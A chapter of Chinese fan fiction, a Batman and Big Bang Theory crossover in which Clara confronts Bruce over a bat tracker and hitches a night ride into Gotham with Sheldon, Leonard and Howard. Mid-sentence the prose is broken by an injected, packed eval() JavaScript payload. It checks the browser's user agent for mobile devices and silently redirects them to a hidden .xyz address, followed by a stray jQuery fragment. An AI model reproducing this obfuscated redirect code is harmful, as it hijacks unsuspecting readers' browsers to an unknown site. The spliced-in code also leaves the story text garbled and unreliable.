晚上十点钟，克拉拉准备出发，但是想起刚刚过去的一个小时，她忍不住微笑。
陪达米安做完钩爪枪后，两个人带着“在专门做小学手工作业的房间”里手搓出来的钩爪枪找到布鲁斯，得意洋洋地卖弄了一番。
克拉拉：“布鲁斯，看看我们聪明的小达米安做了什么！”
她感到非常骄傲，并且完全没有怀疑达米安的手工间有无缝钢管和电焊机的原因。克拉拉在本科期间辅修了机械工程，她觉得在野外总有需要自己修一修仪器的时候。
达米安：“是的，父亲，我做了一把钩爪枪！”
达米安也非常骄傲。他觉得缺德是一个可塑之才，而且最重要的是成功让缺德误认为是她自己带着他做出来钩爪枪的。
布鲁斯嘴角抽动。
不过看到自己唯二的两个亲生孩子相处愉快，布鲁斯也就把抽动的嘴角压下去了，他夸奖了几句达米安，腻腻歪歪地对两个人表达了父爱，然后说现在很晚了该睡觉了。
达米安离开了布鲁斯的房间。
现在可以和布鲁斯好好谈谈蝙蝠定位器的问题了。
克拉拉现在听不见达米安的脚步声了，因此，她把手伸进衣袋，预备把蝙蝠定位器拿出来。
布鲁斯：“克拉拉，早点休息吧，明天早上要带你去JL11的开幕式吗？我打算10点钟出发。”
克拉拉的手从衣袋里拿出来。
“嗯……谢谢你，布鲁斯。我确实想去看看。今年你和蝙蝠侠的谈判怎么样了？”
布鲁斯先是重复了一遍克拉拉的问题：“和蝙蝠侠的谈判吗？”
然后他坐下了。
蝙蝠侠本来以为克拉拉马上就会离开，之后他就能去夜巡了——现在到夜巡开始的时间了。但是多和刚认识的女儿聊聊天也无妨，他们需要增进对彼此的了解。
布鲁斯双手交叉，十个指尖碰在一起。
“不太容易，事实上，蝙蝠侠拒绝露面。和他的同僚们不同，这个蝙蝠怪物不想和人类打交道。”
克拉拉伸出手，让布鲁斯清清楚楚地看到掌心里的蝙蝠定位器。
“布鲁斯，你应该和蝙蝠侠谈谈。”
布鲁斯假装不认识：“这是什么？”
克拉拉：“显而易见，一个蝙蝠形状的定位器，我是昨天晚上发现的。但是我估计从我来到哥谭的第一个夜晚就在我身上了。”
布鲁斯身体前倾，仔细地打量着这个精致的小玩意儿，就好像这个小蝙蝠不是他设计的一样。
“看上去的确是蝙蝠侠的风格。我会尽力和蝙蝠侠谈谈的，如果我能找到……它的话。”
人生啊。
布鲁斯感慨万千。
有史以来，他第一次用了“它”来称呼自己。
克拉拉：“谢谢你，布鲁斯。哥谭人不是一般认为你和蝙蝠侠有密切的关系吗，或者我换一种问法，你不是蝙蝠侠的赞助人吗？”
她不喜欢布鲁斯这个含糊暧昧的态度。当然啦，布鲁斯是一个独立的人，他想要和蝙蝠侠一起睡觉，她没有任何意见，但是不应该放任自己的情人在其他人身上放定位器。
至于说她的母亲和布鲁斯的感情，克拉拉不认为还有多少，或者说这东西存在过，埃莱娜和布鲁斯是开放式的关系，克拉拉数不清母亲交过多少个男伴，更数不清布鲁斯换过多少个女伴。
说真的，布鲁斯的感情关系这么开放，却只有自己和达米安两个亲生子，克拉拉真的要刮目相看呢。
布鲁斯严肃起来：“我赞助一切让哥谭变得更好的力量，克拉拉，我希望哥谭更好，这不代表我喜欢蝙蝠侠。”
克拉拉点点头：“好的，布鲁斯，无论如何，谢谢你。”
是时候去观测罗宾了。
她想。
是时候去夜巡了。
他想。
这一对父女友好地对彼此说晚安。
但是没有一个人去睡觉。
蝙蝠侠下到蝙蝠洞，换上自己的蝙蝠战衣。
便士一：“也许你应该对克拉拉小姐放松一点，她是个好孩子。”
蝙蝠侠：“她不能在哥谭的夜晚里一个人乱跑。我说了我会为她雇佣保镖。”
便士一：“昨天晚上，克拉拉小姐听从了我的劝导，她在自己的房间里休息，没有去追逐罗宾。”
蝙蝠侠：“我没有监控她的卧室，便士一。”
便士一：“啊，那真是太好了。”
他为蝙蝠侠拉开蝙蝠车的车门，罗宾已经在副驾上系好安全带了。
“夜巡顺利，蝙蝠侠。”
在蝙蝠车离开蝙蝠洞的时候，克拉拉正在翻越韦恩庄园的铸铁栏杆。她没有用达米安造的抓钩枪，而是徒手攀缘。
这很简单。
韦恩庄园的护栏上没有通电网，可能这是为了美观吧。反正它现在是方便了克拉拉跑出去。
她本来考虑过入侵韦恩庄园的监控系统，后来觉得还是低调一点为妙，因此她只是静悄悄地从死角里溜出去。
十分钟后，克拉拉站在韦恩庄园外面的公路上。
夜风有点凉。
“这儿不会有任何车经过的，”克拉拉自言自语，“我得走出这座岛，然后才能到哥谭市区。”
她解锁手机看了看地图，相当远的距离。
不过对于自己的体力来说，还好。
可是如果有一辆车愿意载她一程，克拉拉绝不会有任何反对意见。
啊，车来了。
看车牌不是哥谭本地车，是加利福利亚的。
和迪克的车一样，是扔到马路上不会给人任何印象的普通价位的汽车。
克拉拉站在路边伸手拦车。
车停了。她看到上面有四个长相很安全的男人，当然以貌取人是不对的，但是他们的外貌的确让人感到安心。
他们穿的是普通的卫衣和夹克，坐在副驾上的那个青年甚至穿了一件闪电侠图案的长袖。
可能是来参加明天的JL展吧。
“抱歉打扰你们了，先生们，请问你们是要进城吗，介意捎我一程吗，我可以付钱。”
“哦，你是一个突然从荒野上跳出来的人，背着奇怪的背包，独身一人出现在公路上……”
副驾上那个人滔滔不绝地开始了，克拉拉猜想他的意思是拒绝。
“不要听谢尔顿的，美丽的女士，你像是一颗坠落到人间的星星，然后，砰，霍华德·沃罗威茨为您效劳！我将为晨星一样明亮的你……”
霍华德旁边的人在焦急地摆手，他似乎想要扑上去堵住霍华德的嘴。
克拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191304|180426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉的母亲从事艺术行业，克拉拉的父亲是哥谭甜心，而她自己热爱户外活动。
这意味着她同样有一张漂亮到无可挑剔的脸，就算是背着沉甸甸的双肩背包，穿着朴素的运动装也掩饰不了的脸蛋和身材。
司机：“抱歉女士，我想我的朋友可能惊吓得神志不清了，我们很乐意帮助你，但是假如不至于让你感到冒犯，首先我们想要确定你不是任何一个刚才逃窜的抢劫犯。”
坐在副驾上的高个子青年，也就是刚刚被叫做谢尔顿的那个人再次插嘴：“是的，由于莱纳德的失误，我们一直到日落后的两个小时才抵达哥谭……”
莱纳德：“闭嘴，谢尔顿！假如我们之前在大峡谷观光时你没有和向导吵起来，我们昨天已经到哥谭了！”
克拉拉退后两步看看这辆车，的确，它上面全是尘土，看上去经历了至少一周的自驾游。
看样子，如果自己不打断他们说话就永远没机会上车。于是克拉拉暂时放弃了自己的礼貌。
克拉拉拿出自己的护照：“先生们，我是克拉拉·缺德，来自德国维尔茨堡大学生物科学学院，现在和哥谭大学鸟类研究所合作研究夜行性猛禽，这是我的护照，往后翻可以看到我的J1签证。”
“Keine e, ich kann auch ohne Spacesuit charmant sein…”
霍华德迫不及待用德语搭讪。
克拉拉：“谢谢你，沃罗威茨先生，我不仅对穿宇航服的人不感兴趣，对人更不感兴趣。”
莱纳德：“上来吧，缺德女士，我们很乐意搭载你去市区。”
谢尔顿怪叫一声：“莱纳德，如果她身上带了鸟类的细菌和病毒怎么办，禽流感是可以传人的……”
莱纳德：“不要听谢尔顿的——我能叫你克拉拉吗？”
克拉拉：“当然可以，另外，请问副驾这位是谢尔顿·库珀博士吗？”
她觉得谢尔顿这个名字有些耳熟。
谢尔顿态度高傲地点了头：“是的，正是本人。”
克拉拉：“哦！这就是谢尔顿·库珀本人！”
莱纳德还没有重新发动汽车：“你听说过谢尔顿？可是你不是学鸟类学的吗？”
克拉拉解释说：“我有个朋友在海德堡大学。她向我提起过库珀博士。”
谢尔顿：“太好了，缺德，快向他们讲讲我是怎么在他们还在上中学时给一个德国小女孩带来了天才的震撼。”
克拉拉回忆了一下。
“你不会介意吗，库珀博士？”
霍华德：“叫他谢尔顿就行。”
谢尔顿：“不，我喜欢她叫我库珀博士。”
然后他对克拉拉说：“我当然不介意。”
并且挤了挤眼。
克拉拉：“好吧，这位朋友年龄比我大得多，事实上她年长我十岁，当时她在海德堡大学读博士，而在那一天……”
克拉拉停下，再次确认：“库珀博士，你确定要我讲出来吗？”
谢尔顿高兴点头：“当然了，缺德，让他们看看，我的名字连大西洋对面一个学鸟类学的人都知道。”
克拉拉：“学生公寓所有人都知道一个美国小男孩生病了需要灌肠，而他的妈妈甚至不在身边。”